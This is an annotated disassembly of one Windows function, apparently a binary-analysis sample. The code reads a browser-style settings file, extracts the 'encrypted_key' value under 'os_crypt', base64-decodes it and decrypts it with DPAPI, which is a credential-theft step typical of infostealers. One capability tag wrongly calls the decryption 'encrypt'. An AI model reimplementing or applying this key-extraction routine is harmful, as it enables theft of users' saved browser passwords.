Function at 0x140018830
Capabilities:
Check if file exists
Decode data using base64 via winapi
Encrypt data using dpapi
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140087048]
xor rax, rsp
mov qword [rbp + 0x98], rax
mov rdi, rcx
mov qword [rbp], rcx
xor r13d, r13d
mov dword [rsp + 0x50], r13d
cmp qword [rcx + 0x18], 0x10
jb 0x140018881
mov rcx, qword [rcx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1400188e8
mov rcx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140018898
mov rcx, qword [rdi]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x1400188e8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r15d, eax
cmp eax, 0xffffffff
jne 0x140018963
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140018922
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14001891d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001920b
mov rcx, r8
call fcn.14003dd70
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r13
xor eax, eax
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.14003dd50
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xorps xmm0, xmm0
mov rbx, r15
movdqu xmmword [rbp + 0x68], xmm0
mov r14, r13
mov qword [rbp + 0x78], r13
test eax, eax
je 0x1400189d8
cmp rbx, 0x1000
jb 0x1400189ab
lea rcx, [r15 + 0x27]
cmp rcx, rbx
jbe 0x140019211
call fcn.14003dd78
test rax, rax
je 0x140019205
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400189b6
mov rcx, rbx
call fcn.14003dd78
mov rsi, rax
mov qword [rbp + 0x68], rsi
lea r14, [rsi + r15]
mov qword [rbp + 0x78], r14
mov r8, rbx
xor edx, edx
mov rcx, rsi
call fcn.14003fdf0
mov rbx, r14
mov qword [rbp + 0x70], rbx
jmp 0x1400189e0
mov rbx, qword [rbp + 0x70]
mov rsi, qword [rbp + 0x68]
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x60]
mov r8d, r15d
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400191bf
cmp dword [rbp + 0x60], r15d
jne 0x1400191bf
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], r13
cmp rsi, rbx
jne 0x140018a34
mov rax, r13
mov qword [rbp + 0x18], rax
mov r15d, 0xf
mov qword [rbp + 0x20], r15
mov byte [rbp + 8], al
jmp 0x140018a4e
sub rbx, rsi
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 8]
call fcn.140007670
mov r15, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
lea r13, [rbp + 8]
cmp r15, 0x10
setae byte [rsp + 0x40]
mov rcx, qword [rbp + 8]
cmovae r13, rcx
cmp rax, 8
jb 0x140018acd
add rax, 0xfffffffffffffff9
add rax, r13
mov qword [rsp + 0x50], rax
mov r8, rax
sub r8, r13
mov edx, 0x6f
mov rcx, r13
call fcn.140040930
mov rbx, rax
test rax, rax
je 0x140018ac9
mov r8d, 8
lea rdx, str.os_crypt
mov rcx, rbx
call fcn.140040850
test eax, eax
je 0x140018b0c
inc rbx
mov r8, qword [rsp + 0x50]
sub r8, rbx
mov edx, 0x6f
mov rcx, rbx
call fcn.140040930
mov rbx, rax
test rax, rax
jne 0x140018a90
mov rcx, qword [rbp + 8]
cmp byte [rsp + 0x40], 0
je 0x140018b02
lea rdx, [r15 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018afd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019217
call fcn.14003dd70
xor ebx, ebx
mov byte [rbp + 8], bl
jmp 0x140018fb5
sub rbx, r13
cmp rbx, 0xffffffffffffffff
je 0x140018ac9
xor r13d, r13d
mov qword [rbp - 0x18], r13
lea r8, [rbp - 0x50]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x50]
call fcn.14001b510
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
lea r8d, [r13 + 8]
lea rdx, str.os_crypt
lea rcx, [rsp + 0x78]
call fcn.140007670
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x50]
call fcn.14001c090
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea r8d, [r13 + 0xd]
lea rdx, str.encrypted_key
lea rcx, [rsp + 0x58]
call fcn.140007670
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.14001c090
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov ecx, r13d
mov qword [rbp + 0x40], rcx
mov r8d, 0xf
mov qword [rbp + 0x48], r8
mov byte [rbp + 0x30], cl
mov dword [rsp + 0x50], 4
cmp byte [rax], 3
jne 0x14001921d
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x30]
cmp rax, rdx
je 0x140018bf1
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140018be0
mov rdx, qword [rdx]
lea rcx, [rbp + 0x30]
call fcn.140007110
mov r8, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x40]
test rcx, rcx
jne 0x140018ce5
cmp r8, 0x10
jb 0x140018c32
lea rdx, [r8 + 1]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018c2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400191ff
call fcn.14003dd70
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x50]
call fcn.14001b050
movzx edx, byte [rbp + 0x50]
lea rcx, [rbp + 0x58]
call fcn.14001ac10
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140018c94
mov rcx, qword [rbp + 8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018c8f
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019217
call fcn.14003dd70
mov byte [rbp + 8], 0
mov qword [rbp + 0x20], 0xf
mov qword [rbp + 0x18], r13
test rsi, rsi
je 0x1400188e8
sub r14, rsi
cmp r14, 0x1000
mov rax, rsi
jb 0x140018cd5
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019205
mov rdx, r14
mov rcx, rsi
call fcn.14003dd70
jmp 0x1400188e8
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov r15, r13
mov qword [rbp + 0x90], r13
mov dword [rbp + 0x28], r13d
lea rcx, [rbp + 0x30]
cmp r8, 0x10
cmovae rcx, qword [rbp + 0x30]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x140018d98
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140018d6c
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018d67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400191ff
call fcn.14003dd70
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x50]
call fcn.14001b050
movzx edx, byte [rbp + 0x50]
lea rcx, [rbp + 0x58]
call fcn.14001ac10
nop
jmp 0x140018c59
mov edx, dword [rbp + 0x28]
test rdx, rdx
je 0x140018db3
lea rcx, [rbp + 0x80]
call fcn.14001ef20
mov r15, qword [rbp + 0x90]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov rbx, qword [rbp + 0x80]
mov r9, rbx
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x140018e92
test rbx, rbx
je 0x140018e2b
sub r15, rbx
mov rax, rbx
cmp r15, 0x1000
jb 0x140018e1f
add r15, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019259
mov rdx, r15
mov rcx, rbx
call fcn.14003dd70
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140018e66
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018e61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400191ff
call fcn.14003dd70
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x50]
call fcn.14001b050
movzx edx, byte [rbp + 0x50]
lea rcx, [rbp + 0x58]
call fcn.14001ac10
nop
jmp 0x140018c59
mov ecx, 0x10
call fcn.14003dd78
mov r13, rax
lea rcx, [rbx + 5]
mov qword [rbp - 8], rcx
mov ecx, dword [rbp + 0x28]
add ecx, 0xfffffffb
mov dword [rbp - 0x10], ecx
mov qword [rsp + 0x30], rax
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x10]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x140019048
test rbx, rbx
je 0x140018f13
sub r15, rbx
mov rax, rbx
cmp r15, 0x1000
jb 0x140018f07
add r15, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019259
mov rdx, r15
mov rcx, rbx
call fcn.14003dd70
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140018f4e
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018f49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400191ff
call fcn.14003dd70
xor ebx, ebx
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], bl
lea rcx, [rbp + 0x50]
call fcn.14001b050
movzx edx, byte [rbp + 0x50]
lea rcx, [rbp + 0x58]
call fcn.14001ac10
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140018fb1
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018fac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019217
call fcn.14003dd70
mov byte [rbp + 8], 0
mov qword [rbp + 0x20], 0xf
mov qword [rbp + 0x18], rbx
test rsi, rsi
je 0x140018ffa
sub r14, rsi
cmp r14, 0x1000
mov rax, rsi
jb 0x140018fee
mov rsi, qword [rsi - 8]
sub rax, rsi
add r14, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019205
mov rdx, r14
mov rcx, rsi
call fcn.14003dd70
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140019034
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rdi]
jb 0x14001902f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001920b
mov rcx, r8
call fcn.14003dd70
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
jmp 0x140018931
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rbx, rbx
je 0x14001908b
sub r15, rbx
mov rax, rbx
cmp r15, 0x1000
jb 0x14001907f
add r15, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019259
mov rdx, r15
mov rcx, rbx
call fcn.14003dd70
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1400190c6
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400190c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400191ff
call fcn.14003dd70
xor ebx, ebx
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], bl
lea rcx, [rbp + 0x50]
call fcn.14001b050
movzx edx, byte [rbp + 0x50]
lea rcx, [rbp + 0x58]
call fcn.14001ac10
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140019129
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019124
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019217
call fcn.14003dd70
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
test rsi, rsi
je 0x140019172
sub r14, rsi
mov rax, rsi
cmp r14, 0x1000
jb 0x140019166
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019205
mov rdx, r14
mov rcx, rsi
call fcn.14003dd70
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1400191a8
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400191a3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001920b
mov rcx, r8
call fcn.14003dd70
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rax, r13
jmp 0x140018933
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rsi, rsi
je 0x1400188e8
sub r14, rsi
mov rax, rsi
cmp r14, 0x1000
jb 0x140018cd5
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019205
jmp 0x140018cd5
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400447b4
nop
call fcn.1400041d0
nop
call fcn.1400447b4
nop
mov rcx, rax
call fcn.14001cd50
mov qword [rsp + 0x48], rax
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x58]
call fcn.14002a3e0
nop
mov r8, rax
lea rcx, [rsp + 0x78]
call fcn.14002a4a0
lea rdx, [0x1400841d0]
lea rcx, [rsp + 0x78]
call fcn.14003fd14
nop
call fcn.1400447b4
int3